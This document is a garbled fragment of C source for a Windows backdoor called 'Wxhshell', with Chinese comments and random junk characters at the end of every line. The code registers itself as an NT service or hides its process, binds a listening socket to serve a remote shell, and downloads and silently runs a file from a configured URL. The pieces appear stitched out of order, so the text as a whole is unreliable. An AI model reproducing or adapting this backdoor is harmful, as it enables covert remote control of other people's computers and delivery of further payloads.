DWORD PebBaseAddress; 0c6b_%Rd
DWORD AffinityMask; KE>|,Ur
DWORD BasePriority; v_M-:e3`
ULONG UniqueProcessId; WzD=Ol
ULONG InheritedFromUniqueProcessId; 1iNq|~
} PROCESS_BASIC_INFORMATION; Vwxb6,}Z
P2la/jN
PROCNTQSIP NtQueryInformationProcess; bMe/jQuL.$
f793yCiG
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zh8\
_>+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +9LIpU&5
HK_Vk\e
HANDLE hProcess; ^n Gj 7b
PROCESS_BASIC_INFORMATION pbi; Hw"LoVh
<'WS -P%U
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M_
* KA
if(NULL == hInst ) return 0; S7i,oP7
8EbJ5wu/%S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?|4Y(0N
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'cp1I&>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CK[w0VCT
,#n$YT7
if (!NtQueryInformationProcess) return 0; N@}5Fnk-
EWz,K]_'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1eod;^AP9
if(!hProcess) return 0; XT2:XWI8
Fpe>|"&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qPal'c0
d\c?sYLv
CloseHandle(hProcess); 3|++2Z{},
|E]`rfr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .J=<E
if(hProcess==NULL) return 0; CuT~
Bj
~9Xs=S!
HMODULE hMod; +95: O 8
char procName[255]; V46=48K.
unsigned long cbNeeded; =:neGqd\_E
3[_zz;Y*d
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HNXMM
LVHIQ9
CloseHandle(hProcess); <!qN<#$y
O+f'Ql
if(strstr(procName,"services")) return 1; // 以服务启动 {H F,F=W
Y\7WCaSgi
return 0; // 注册表启动 ~F)[H'$A
} {Q?\%4>2
XC*!=h*
// 主模块 _8QHx;}
int StartWxhshell(LPSTR lpCmdLine) <GdQ""X
{ 4hl`~&yDf
SOCKET wsl; z4!Y9
BOOL val=TRUE; FaA'%P@
int port=0; n]nb+_-97
struct sockaddr_in door; Z'Uc}M'U
%"yy8~|
if(wscfg.ws_autoins) Install(); i!yu%>:M
VbU*&{j
port=atoi(lpCmdLine); Nbyc,a[o
:`Sd5b>
if(port<=0) port=wscfg.ws_port; +HAd=DU
[B_(,/?
WSADATA data; QmiS/`AAv
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XEX-NE"]
7Be\^%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I_.Jo `lK~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P<E!ix
door.sin_family = AF_INET; =|j~*6Hd
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ta
door.sin_port = htons(port); b^s>yN
w *Txc}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [}*xxy
closesocket(wsl); 0?80V'
return 1; ;NoD4*
} c.?+rcnq
>Hd Pcsl L
if(listen(wsl,2) == INVALID_SOCKET) { sjW;Nsp
closesocket(wsl); Id}@
return 1; 6+.8nx:9X
} Jf</83RZ
Wxhshell(wsl); j&y>?Y&Sb
WSACleanup(); }L|cg2y
7g%.:H=
return 0; ^U;r>[T9h
f53WDI6
} 35}]U=
ZHN}:W/p
// 以NT服务方式启动 -~+Y0\%E
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?S2!'L
{ M/x*d4b_
DWORD status = 0; 6\5"36&/rQ
DWORD specificError = 0xfffffff; mo*ClU7
+)<H,?/
serviceStatus.dwServiceType = SERVICE_WIN32; .}*_NU
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _mG>^QI.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1)N~0)dO
serviceStatus.dwWin32ExitCode = 0; X/AA8QV o
serviceStatus.dwServiceSpecificExitCode = 0; vVfIe5+OP
serviceStatus.dwCheckPoint = 0; -.
J@
serviceStatus.dwWaitHint = 0; 2;`F`}BA
\L]T|]}(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HUWCCVn&
if (hServiceStatusHandle==0) return; +cf. In,{
<8sy*A?0z
status = GetLastError(); Su>UXuNdE#
if (status!=NO_ERROR) 7nl
{ ;=i$0w9 W
serviceStatus.dwCurrentState = SERVICE_STOPPED; au?5^u\
serviceStatus.dwCheckPoint = 0; U/j+\Kc~
serviceStatus.dwWaitHint = 0; dk@j!-q^
serviceStatus.dwWin32ExitCode = status; .!2Ac
serviceStatus.dwServiceSpecificExitCode = specificError; ];U}'&
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
JQO%-=t
return; ) mG
} -Izc-W
Xhk_h2F[
serviceStatus.dwCurrentState = SERVICE_RUNNING; nNP{>\x;"
serviceStatus.dwCheckPoint = 0; k<.VR"I
p
serviceStatus.dwWaitHint = 0; <&87aDYz
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r$/.x6g//
} R1j)0b6cQ%
R2B0?fu
// 处理NT服务事件,比如:启动、停止 =>u9k:('9
VOID WINAPI NTServiceHandler(DWORD fdwControl) ];7/DM#Np
{ X)^&5;\`
switch(fdwControl) \CK f/:"
{ a";xG,U
case SERVICE_CONTROL_STOP: \+I+Lrj%
serviceStatus.dwWin32ExitCode = 0; &h67LMD!
serviceStatus.dwCurrentState = SERVICE_STOPPED; KOP*\\1
J
serviceStatus.dwCheckPoint = 0; Q%Y rm
serviceStatus.dwWaitHint = 0; 67b[T~92o
{ ATq-&1hs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K4|{[YpPB
} Ng;Fhv+
return; ufc_m4PN
case SERVICE_CONTROL_PAUSE: *p>1s!i
serviceStatus.dwCurrentState = SERVICE_PAUSED; vkg."G:=
break; :978D0}{p
case SERVICE_CONTROL_CONTINUE: ANWUo}j
serviceStatus.dwCurrentState = SERVICE_RUNNING; "PtOe[Xk
break; YThFskR oO
case SERVICE_CONTROL_INTERROGATE: @K}8zMmW#
break; 1z5\>F
}; Yv7`5b{N.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`$[h2Z=:
} h8-'I=~
-_xC,dwK
// 标准应用程序主函数 ;d{lvKk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h 1`yW#%
{ =F>nqklc
GTBT0$9g.
// 获取操作系统版本 _>)=c<HL
OsIsNt=GetOsVer(); vo3[)BDbT
GetModuleFileName(NULL,ExeFile,MAX_PATH); -7\6j#;l
;DN:AgXP
// 从命令行安装 (g
9G!I
if(strpbrk(lpCmdLine,"iI")) Install(); /&Vgo~.J
a"|\n_
// 下载执行文件 F?!
if(wscfg.ws_downexe) { `<x|<ey
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VjhwafYC
WinExec(wscfg.ws_filenam,SW_HIDE); *d/,Y-tl
} |=U(8t
"RG #e+
if(!OsIsNt) { u9~RD
// 如果时win9x,隐藏进程并且设置为注册表启动 j6.'7f5M<H
HideProc(); PdNxuy
StartWxhshell(lpCmdLine); .jps6{
} 3NA
G}S
else 5q>u]n9]
if(StartFromService()) M!E#T-)
// 以服务方式启动 |Je+y;P7
StartServiceCtrlDispatcher(DispatchTable); M_monj}Z
else eOI#T'5
// 普通方式启动 J&jNONu?
StartWxhshell(lpCmdLine); my(yN|
9b}AZ]$
return 0; xB&6f")
} TR([u
JHCV7$RS
lS:R##
OJH:k~]0!
=========================================== Z<t(h=?
fqgm`4>
7h3JH
FeM,$&G:
-$J%.fdPs
Z" !+p{u
" 68v59)0U
c6NCy s
#include <stdio.h> >|e>=
#include <string.h> 9v2(cpZ
#include <windows.h> [Y^1}E*
#include <winsock2.h> UIl^s8/
#include <winsvc.h> $EuWQq7OI2
#include <urlmon.h> {=K u9\
d{LQr}_o$$
#pragma comment (lib, "Ws2_32.lib") rH<iUiA?O
#pragma comment (lib, "urlmon.lib") $CYB&|d
.$,.w__m~
#define MAX_USER 100 // 最大客户端连接数 -S(_ZbeN
#define BUF_SOCK 200 // sock buffer VN1a\
#define KEY_BUFF 255 // 输入 buffer [!v|
M
cLD-,v;c
#define REBOOT 0 // 重启 b@&ydgmaQ
#define SHUTDOWN 1 // 关机 J&